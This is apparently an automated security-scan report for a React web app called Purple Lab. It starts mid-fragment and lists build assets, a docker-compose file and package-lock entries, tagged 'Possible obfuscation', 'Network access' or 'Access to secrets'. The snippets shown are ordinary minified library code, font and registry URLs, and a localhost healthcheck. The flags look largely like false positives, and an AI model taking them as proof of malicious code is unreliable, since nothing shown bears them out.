greet("world");`})})]}),e.jsx(b,{}),e.jsx(d,{children:"Formatting"}),e.jsx(f,{label:"Tab size",description:"Number of spaces per tab",options:[{value:"2",label:"2 spaces"},{value:"4",label:"4 spaces"},{value:"8",label:"8 spaces"}],value:W,o
web-app/dist/assets/ShowcasePage-BGBS53rc.js
- Network accessline 1
import{j as e,X as h,u}from"./index-DOUc1fHo.js";const c=[{label:"Q1",period:"Jan - Mar 2026",features:[{name:"Multi-provider support (5 providers)",status:"completed"},{name:"Memory system with vector search",status:"completed"},{name:"Pur - Possible obfuscationline 1
import{j as e,X as h,u}from"./index-DOUc1fHo.js";const c=[{label:"Q1",period:"Jan - Mar 2026",features:[{name:"Multi-provider support (5 providers)",status:"completed"},{name:"Memory system with vector search",status:"completed"},{name:"Pur - Executable scriptline 1
Executable file
web-app/dist/assets/SystemSettingsPage-DnlNsHR1.js
web-app/dist/assets/TeamsPage-gbdyps5P.js
- Executable scriptline 1
Executable file - Possible obfuscationline 11
*/const ne=[["path",{d:"M13 21h8",key:"1jsn5i"}],["path",{d:"M21.174 6.812a1 1 0 0 0-3.986-3.987L3.842 16.174a2 2 0 0 0-.5.83l-1.321 4.352a.5.5 0 0 0 .623.622l4.353-1.32a2 2 0 0 0 .83-.497z",key:"1a8usu"}]],ce=M("pen-line",ne),de={admin:{la
web-app/dist/assets/TemplatesPage-CoCS7TBP.js
- Executable scriptline 1
Executable file - Possible obfuscationline 16
*/const oe=[["path",{d:"M9.671 4.136a2.34 2.34 0 0 1 4.659 0 2.34 2.34 0 0 0 3.319 1.915 2.34 2.34 0 0 1 2.33 4.033 2.34 2.34 0 0 0 0 3.831 2.34 2.34 0 0 1-2.33 4.033 2.34 2.34 0 0 0-3.319 1.915 2.34 2.34 0 0 1-4.659 0 2.34 2.34 0 0 0-3.32- - Possible obfuscationline 21
`})]})}const $=[{label:"Basics",icon:C},{label:"Tech Stack",icon:X},{label:"Features",icon:ce},{label:"Review",icon:S}],E=[{id:"react",label:"React",group:"Frontend"},{id:"nextjs",label:"Next.js",group:"Frontend"},{id:"vue",label:"Vue",grou - Possible obfuscationline 23
Tech stack: ${t.join(", ")}`:"",o.length? Features: ${o.join(", ")}`:""].join("");sessionStorage.setItem("pl_custom_prompt",x),a("/"),l()},[g,h,m,u,a,l]),y=E.reduce((t,o)=>(t[o.group]||(t[o.group]=[]),t[o.group].push(o),t),{});return e.jsxs - Possible obfuscationline 24
Features: ${o.join(", ")}`:""].join("");sessionStorage.setItem("pl_custom_prompt",x),a("/"),l()},[g,h,m,u,a,l]),y=E.reduce((t,o)=>(t[o.group]||(t[o.group]=[]),t[o.group].push(o),t),{});return e.jsxs("div",{className:"fixed inset-0 z-50 flex - Possible obfuscationline 29
`})]})}const fe=[{key:"all",label:"All",icon:P},{key:"Website",label:"Web Apps",icon:Z},{key:"API",label:"APIs",icon:ee},{key:"CLI",label:"CLIs",icon:V},{key:"Bot",label:"Bots",icon:te},{key:"Data",label:"Data",icon:se},{key:"Other",label:"
web-app/dist/assets/TerminalOutput-Bu59uXM6.js
- Executable scriptline 1
Executable file - Possible obfuscationline 16
*/const S=[["path",{d:"M16.247 7.761a6 6 0 0 1 0 8.478",key:"1fwjs5"}],["path",{d:"M19.075 4.933a10 10 0 0 1 0 14.134",key:"ehdyv1"}],["path",{d:"M4.925 19.067a10 10 0 0 1 0-14.134",key:"1q22gi"}],["path",{d:"M7.753 16.239a6 6 0 0 1 0-8.478
web-app/dist/assets/activity-RK1kWujc.js
- Executable scriptline 1
Executable file
web-app/dist/assets/bell-PkQgU5tb.js
- Executable scriptline 1
Executable file
web-app/dist/assets/bot-KfQKc1W2.js
- Executable scriptline 1
Executable file
web-app/dist/assets/check-CLP-eFsI.js
- Executable scriptline 1
Executable file
web-app/dist/assets/chevron-left-L1ARkN2A.js
- Executable scriptline 1
Executable file
web-app/dist/assets/circle-alert-DQaOtcz7.js
- Executable scriptline 1
Executable file
web-app/dist/assets/clock-Dj81AT7o.js
- Executable scriptline 1
Executable file
web-app/dist/assets/cloud-CBc9HiD3.js
- Executable scriptline 1
Executable file
web-app/dist/assets/code-xml-Cg-6mn1e.js
- Executable scriptline 1
Executable file
web-app/dist/assets/database-hcC4hh9n.js
- Executable scriptline 1
Executable file
web-app/dist/assets/dollar-sign-D7KwqRKC.js
- Executable scriptline 1
Executable file
web-app/dist/assets/file-code-corner-BeiPZfPk.js
- Executable scriptline 1
Executable file
web-app/dist/assets/file-plus-Bbb3V7O6.js
- Executable scriptline 1
Executable file
web-app/dist/assets/globe-ePwFFIti.js
- Executable scriptline 1
Executable file
web-app/dist/assets/hammer-DCZkTmjn.js
- Executable scriptline 1
Executable file
web-app/dist/assets/index-DOUc1fHo.js
- Network accessline 1
const __vite__mapDeps=(i,m=__vite__mapDeps,d=(m.f||(m.f=["assets/HomePage-mHgVLI9j.js","assets/usePolling--6qRWxz8.js","assets/ErrorBoundary-iEMh3HfQ.js","assets/TerminalOutput-Bu59uXM6.js","assets/lock-BR3SVeMz.js","assets/EvidenceReceiptP - Executable scriptline 1
Executable file - Network accessline 2
var bg=Object.defineProperty;var Sg=(i,o,r)=>o in i?bg(i,o,{enumerable:!0,configurable:!0,writable:!0,value:r}):i[o]=r;var _u=(i,o,r)=>Sg(i,typeof o!="symbol"?o+"":o,r);(function(){const o=document.createElement("link").relList;if(o&&o.supp - Possible obfuscationline 18
*/var c0;function _g(){if(c0)return ae;c0=1;var i=Symbol.for("react.transitional.element"),o=Symbol.for("react.portal"),r=Symbol.for("react.fragment"),s=Symbol.for("react.strict_mode"),d=Symbol.for("react.profiler"),m=Symbol.for("react.cons - Possible obfuscationline 26
*/var s0;function Ng(){return s0||(s0=1,(function(i){function o(k,W){var P=k.length;k.push(W);e:for(;0<P;){var Ce=P-1>>>1,pe=k[Ce];if(0<d(pe,W))k[Ce]=W,k[P]=pe,P=Ce;else break e}}function r(k){return k.length===0?null:k[0]}function s(k){if( - Network accessline 32
* This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var f0;function Rg(){if(f0)return tt;f0=1;var i=gr();function o(x){var y="https://react.dev/errors/"+x;if(1<argu - Network accessline 33
* LICENSE file in the root directory of this source tree. */var f0;function Rg(){if(f0)return tt;f0=1;var i=gr();function o(x){var y="https://react.dev/errors/"+x;if(1<arguments.length){y+="?args[]="+encodeURIComponent(arguments[1]);for(va - Network accessline 34
*/var f0;function Rg(){if(f0)return tt;f0=1;var i=gr();function o(x){var y="https://react.dev/errors/"+x;if(1<arguments.length){y+="?args[]="+encodeURIComponent(arguments[1]);for(var j=2;j<arguments.length;j++)y+="&args[]="+encodeURICompone - Possible obfuscationline 34
*/var f0;function Rg(){if(f0)return tt;f0=1;var i=gr();function o(x){var y="https://react.dev/errors/"+x;if(1<arguments.length){y+="?args[]="+encodeURIComponent(arguments[1]);for(var j=2;j<arguments.length;j++)y+="&args[]="+encodeURICompone - Network accessline 40
* This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */var h0;function Og(){if(h0)return Cu;h0=1;var i=Cg(),o=gr(),r=zg();function s(e){var t="https://react.dev/errors - Network accessline 41
* LICENSE file in the root directory of this source tree. */var h0;function Og(){if(h0)return Cu;h0=1;var i=Cg(),o=gr(),r=zg();function s(e){var t="https://react.dev/errors/"+e;if(1<arguments.length){t+="?args[]="+encodeURIComponent(argume - Network accessline 42
*/var h0;function Og(){if(h0)return Cu;h0=1;var i=Cg(),o=gr(),r=zg();function s(e){var t="https://react.dev/errors/"+e;if(1<arguments.length){t+="?args[]="+encodeURIComponent(arguments[1]);for(var l=2;l<arguments.length;l++)t+="&args[]="+en - Possible obfuscationline 42
*/var h0;function Og(){if(h0)return Cu;h0=1;var i=Cg(),o=gr(),r=zg();function s(e){var t="https://react.dev/errors/"+e;if(1<arguments.length){t+="?args[]="+encodeURIComponent(arguments[1]);for(var l=2;l<arguments.length;l++)t+="&args[]="+en - Possible obfuscationline 43
at`)?" (<anonymous>)":-1<l.stack.indexOf("@")?"@unknown:0:0":""}return `+Sc+e+Dr}var xc=!1;function Ec(e,t){if(!e||xc)return"";xc=!0;var l=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{var a={DetermineComponentFrameRoot:functio - Possible obfuscationline 44
`+Sc+e+Dr}var xc=!1;function Ec(e,t){if(!e||xc)return"";xc=!0;var l=Error.prepareStackTrace;Error.prepareStackTrace=void 0;try{var a={DetermineComponentFrameRoot:function(){try{if(t){var w=function(){throw Error()};if(Object.defineProperty( - Possible obfuscationline 49
[Credential-related source omitted] - Network accessline 50
`).replace(T1,"")}function dm(e,t){return t=fm(t),fm(e)===t}function Te(e,t,l,a,n,u){switch(l){case"children":if(typeof a=="string")t==="body"||t==="textarea"&&a===""||qa(e,a);else if(typeof a=="number"||typeof a=="bigint")t!=="body"&&qa(e, - Possible obfuscationline 50
`).replace(T1,"")}function dm(e,t){return t=fm(t),fm(e)===t}function Te(e,t,l,a,n,u){switch(l){case"children":if(typeof a=="string")t==="body"||t==="textarea"&&a===""||qa(e,a);else if(typeof a=="number"||typeof a=="bigint")t!=="body"&&qa(e, - Network accessline 57
* * @license MIT */var pr=/^(?:[a-z][a-z0-9+.-]*:|[\\/]{2})/i,H0=/^[\\/]{2}/;function Mg(i,o){return o+i.replace(/\\/g,"/")}var y0="popstate";function v0(i){return typeof i=="object"&&i!=null&&"pathname"in i&&"search"in i&&"hash"in i&&"st - Network accessline 59
*/var pr=/^(?:[a-z][a-z0-9+.-]*:|[\\/]{2})/i,H0=/^[\\/]{2}/;function Mg(i,o){return o+i.replace(/\\/g,"/")}var y0="popstate";function v0(i){return typeof i=="object"&&i!=null&&"pathname"in i&&"search"in i&&"hash"in i&&"state"in i&&"key"in i - Possible obfuscationline 59
*/var pr=/^(?:[a-z][a-z0-9+.-]*:|[\\/]{2})/i,H0=/^[\\/]{2}/;function Mg(i,o){return o+i.replace(/\\/g,"/")}var y0="popstate";function v0(i){return typeof i=="object"&&i!=null&&"pathname"in i&&"search"in i&&"hash"in i&&"state"in i&&"key"in i - Possible obfuscationline 61
Please change the parent <Route path="${G}"> to <Route path="${G==="/"?"*":`${G}/*`}">.`)}let x=kt(),y;if(o){let G=typeof o=="string"?Rn(o):o;De(C==="/"||((q=G.pathname)==null?void 0:q.startsWith(C)),`When overriding the location using \`<R - Network accessline 84
* This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. */var p2={xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor", - Network accessline 85
* See the LICENSE file in the root directory of this source tree. */var p2={xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:2,strokeLinecap:"round",strokeLinejoin:"rou - Network accessline 86
*/var p2={xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24",fill:"none",stroke:"currentColor",strokeWidth:2,strokeLinecap:"round",strokeLinejoin:"round"};/** - Network accessline 354
* This source code is licensed under the ISC license. * See the LICENSE file in the root directory of this source tree. */const Fb=[["path",{d:"M4 14a1 1 0 0 1-.78-1.63l9.9-10.2a.5.5 0 0 1 .86.46l-1.92 6.02A1 1 0 0 0 13 10h7a1 1 0 0 1 .78 - Network accessline 356
[Credential-related source omitted] - Possible obfuscationline 356
[Credential-related source omitted] - Access to secretsline 356
[Credential-related source omitted] - Access to secretsline 396
[Credential-related source omitted] - Possible obfuscationline 419
Reason, Act, Reflect, Verify -- the AI's thinking process. It plans what to do (Reason), writes code (Act), reviews its own work (Reflect), and runs tests (Verify).`}],NS=[{title:"Your First Build",description:"Learn how to create a project - Possible obfuscationline 420
`),r=[];let s=[];const d=()=>{s.length>0&&(r.push(h.jsx("ul",{className:"list-disc list-inside space-y-1 text-xs text-ink leading-relaxed",children:s.map((m,p)=>h.jsx("li",{children:hr(m)},p))},`ul-${r.length}`)),s=[])};for(let m=0;m<o.leng - Possible obfuscationline 435
`}),h.jsx("span",{className:`flex-shrink-0 mt-0.5 ${p.icon}`,children:h.jsx(p.IconComponent,{size:18})}),h.jsxs("div",{className:"flex-1 min-w-0",children:[h.jsx("p",{className:"text-sm font-medium text-[#201515] dark:text-[#E8E6E3]",childr
web-app/dist/assets/layers-DCsRb5Mz.js
- Executable scriptline 1
Executable file
web-app/dist/assets/loader-circle-20jch_P3.js
- Executable scriptline 1
Executable file
web-app/dist/assets/lock-BR3SVeMz.js
- Executable scriptline 1
Executable file
web-app/dist/assets/package-BBTTXS5s.js
- Executable scriptline 1
Executable file
web-app/dist/assets/plus-Djq8BzoS.js
- Executable scriptline 1
Executable file
web-app/dist/assets/refresh-cw-wsCa1mCg.js
- Executable scriptline 1
Executable file
web-app/dist/assets/rotate-ccw-DR6yOe_5.js
- Executable scriptline 1
Executable file
web-app/dist/assets/scroll-text-B8xdqAGX.js
- Executable scriptline 1
Executable file
web-app/dist/assets/server-Dm3VKzKU.js
- Executable scriptline 1
Executable file
web-app/dist/assets/shield-alert-CG6IydWg.js
- Executable scriptline 1
Executable file
web-app/dist/assets/thumbs-up-Dm-ujUy6.js
- Executable scriptline 1
Executable file
web-app/dist/assets/trash-2-BqO_GJJk.js
- Executable scriptline 1
Executable file
web-app/dist/assets/trending-down-DaPKY5Q9.js
- Executable scriptline 1
Executable file
web-app/dist/assets/trending-up-COtd-NWK.js
- Executable scriptline 1
Executable file
web-app/dist/assets/upload-CbiA6m9-.js
- Executable scriptline 1
Executable file
web-app/dist/assets/usePolling--6qRWxz8.js
- Executable scriptline 1
Executable file
web-app/dist/assets/user-DD2d70oe.js
- Executable scriptline 1
Executable file
web-app/dist/index.html
- Network accessline 5
<meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Purple Lab -- Powered by Loki Mode</title> <link rel="preconnect" href="https://fonts.googleapis.com"> - Network accessline 6
<title>Purple Lab -- Powered by Loki Mode</title> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> - Network accessline 7
<link rel="preconnect" href="https://fonts.googleapis.com"> - Network accessline 8
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> - Network accessline 9
<link href="https://fonts.googleapis.com/css2?family=DM+Serif+Display&family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500;600&display=swap" rel="stylesheet">
web-app/docker-compose.purple-lab.yml
- Access to secretsline 14
[Credential-related source omitted] - Access to secretsline 16
[Credential-related source omitted] - Access to secretsline 18
[Credential-related source omitted] - Network accessline 24
condition: service_healthy healthcheck: test: ["CMD", "curl", "-f", "http://localhost:57375/health"] - Network accessline 25
healthcheck: test: ["CMD", "curl", "-f", "http://localhost:57375/health"] interval: 10s - Network accessline 26
test: ["CMD", "curl", "-f", "http://localhost:57375/health"]
web-app/eslint.config.js
- Executable scriptline 1
Executable file
web-app/index.html
- Network accessline 5
<meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Purple Lab -- Powered by Loki Mode</title> <link rel="preconnect" href="https://fonts.googleapis.com"> - Network accessline 6
<title>Purple Lab -- Powered by Loki Mode</title> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> - Network accessline 7
<link rel="preconnect" href="https://fonts.googleapis.com"> - Network accessline 8
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> - Network accessline 9
<link href="https://fonts.googleapis.com/css2?family=DM+Serif+Display&family=Inter:wght@400;500;600;700;800&family=JetBrains+Mono:wght@400;500;600&display=swap" rel="stylesheet">
web-app/migrations/env.py
web-app/migrations/versions/001_initial_schema.py
- Executable scriptline 1
Executable file
web-app/models.py
web-app/package-lock.json
- Network accessline 39
"node_modules/@alloc/quick-lru": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz", - Network accessline 40
"version": "5.2.0", "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz", "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==", - Network accessline 41
"resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz", - Network accessline 47
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 48
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 49
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 52
"node_modules/@babel/code-frame": { "version": "7.29.0", "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz", - Network accessline 53
"version": "7.29.0", "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz", "integrity": "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==", - Network accessline 54
"resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz", - Network accessline 67
"node_modules/@babel/compat-data": { "version": "7.29.0", "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz", - Network accessline 68
"version": "7.29.0", "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz", "integrity": "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==", - Network accessline 69
"resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz", - Network accessline 77
"node_modules/@babel/core": { "version": "7.29.0", "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz", - Network accessline 78
"version": "7.29.0", "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz", "integrity": "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==", - Network accessline 79
"resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz", - Network accessline 103
"funding": { "type": "opencollective", "url": "https://opencollective.com/babel" - Network accessline 104
"type": "opencollective", "url": "https://opencollective.com/babel" } - Network accessline 105
"url": "https://opencollective.com/babel" - Network accessline 108
"node_modules/@babel/generator": { "version": "7.29.1", "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz", - Network accessline 109
"version": "7.29.1", "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz", "integrity": "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==", - Network accessline 110
"resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz", - Network accessline 125
"node_modules/@babel/helper-compilation-targets": { "version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz", - Network accessline 126
"version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz", "integrity": "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhu - Network accessline 127
"resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz", - Network accessline 142
"node_modules/@babel/helper-globals": { "version": "7.28.0", "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", - Network accessline 143
"version": "7.28.0", "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==", - Network accessline 144
"resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz", - Network accessline 152
"node_modules/@babel/helper-module-imports": { "version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz", - Network accessline 153
"version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz", "integrity": "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2d - Network accessline 154
"resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz", - Network accessline 166
"node_modules/@babel/helper-module-transforms": { "version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz", - Network accessline 167
"version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz", "integrity": "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWW - Network accessline 168
"resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz", - Network accessline 184
"node_modules/@babel/helper-plugin-utils": { "version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz", - Network accessline 185
"version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz", "integrity": "sha512-S9gzZ/bz83GRysI7gAD4wPT/AI3uCnY+9xn+Mx/KPs2JwHJIz1W8PZkg2cqyt3RNOBM8ejcXhV6y8Og7ly/D - Network accessline 186
"resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.28.6.tgz", - Network accessline 194
"node_modules/@babel/helper-string-parser": { "version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", - Network accessline 195
"version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbW - Network accessline 196
"resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz", - Network accessline 204
"node_modules/@babel/helper-validator-identifier": { "version": "7.28.5", "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", - Network accessline 205
"version": "7.28.5", "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoL - Network accessline 206
"resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz", - Network accessline 214
"node_modules/@babel/helper-validator-option": { "version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", - Network accessline 215
"version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4M - Network accessline 216
"resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz", - Network accessline 224
"node_modules/@babel/helpers": { "version": "7.29.2", "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.2.tgz", - Network accessline 225
"version": "7.29.2", "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.2.tgz", "integrity": "sha512-HoGuUs4sCZNezVEKdVcwqmZN8GoHirLUcLaYVNBK2J0DadGtdcqgr3BCbvH8+XUo4NGjNl3VOtSjEKNzqfFgKw==", - Network accessline 226
"resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.2.tgz", - Network accessline 238
"node_modules/@babel/parser": { "version": "7.29.2", "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.2.tgz", - Network accessline 239
"version": "7.29.2", "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.2.tgz", "integrity": "sha512-4GgRzy/+fsBa72/RZVJmGKPmZu9Byn8o4MoLpmNe1m8ZfYnz5emHLQz3U4gLud6Zwl0RZIcgiLD7Uq7ySFuDLA==", - Network accessline 240
"resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.2.tgz", - Network accessline 254
"node_modules/@babel/plugin-transform-react-jsx-self": { "version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz", - Network accessline 255
"version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz", "integrity": "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X - Network accessline 256
"resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.27.1.tgz", - Network accessline 270
"node_modules/@babel/plugin-transform-react-jsx-source": { "version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz", - Network accessline 271
"version": "7.27.1", "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz", "integrity": "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeoko - Network accessline 272
"resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.27.1.tgz", - Network accessline 286
"node_modules/@babel/template": { "version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz", - Network accessline 287
"version": "7.28.6", "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz", "integrity": "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==", - Network accessline 288
"resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz", - Network accessline 301
"node_modules/@babel/traverse": { "version": "7.29.0", "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz", - Network accessline 302
"version": "7.29.0", "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz", "integrity": "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==", - Network accessline 303
"resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz", - Network accessline 320
"node_modules/@babel/types": { "version": "7.29.0", "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz", - Network accessline 321
"version": "7.29.0", "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz", "integrity": "sha512-LwdZHpScM4Qz8Xw2iKSzS+cfglZzJGvofQICy7W7v4caru4EaAmyUuO6BGrbyQ2mYV11W0U8j5mBhd14dd3B0A==", - Network accessline 322
"resolved": "https://registry.npmjs.org/@babel/types/-/types-7.29.0.tgz", - Network accessline 334
"node_modules/@esbuild/aix-ppc64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", - Network accessline 335
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", "integrity": "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==", - Network accessline 336
"resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.25.12.tgz", - Network accessline 351
"node_modules/@esbuild/android-arm": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", - Network accessline 352
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", "integrity": "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==", - Network accessline 353
"resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.25.12.tgz", - Network accessline 368
"node_modules/@esbuild/android-arm64": { "version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", - Network accessline 369
"version": "0.25.12", "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", "integrity": "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==", - Network accessline 370
"resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.25.12.tgz", - Network accessline 385
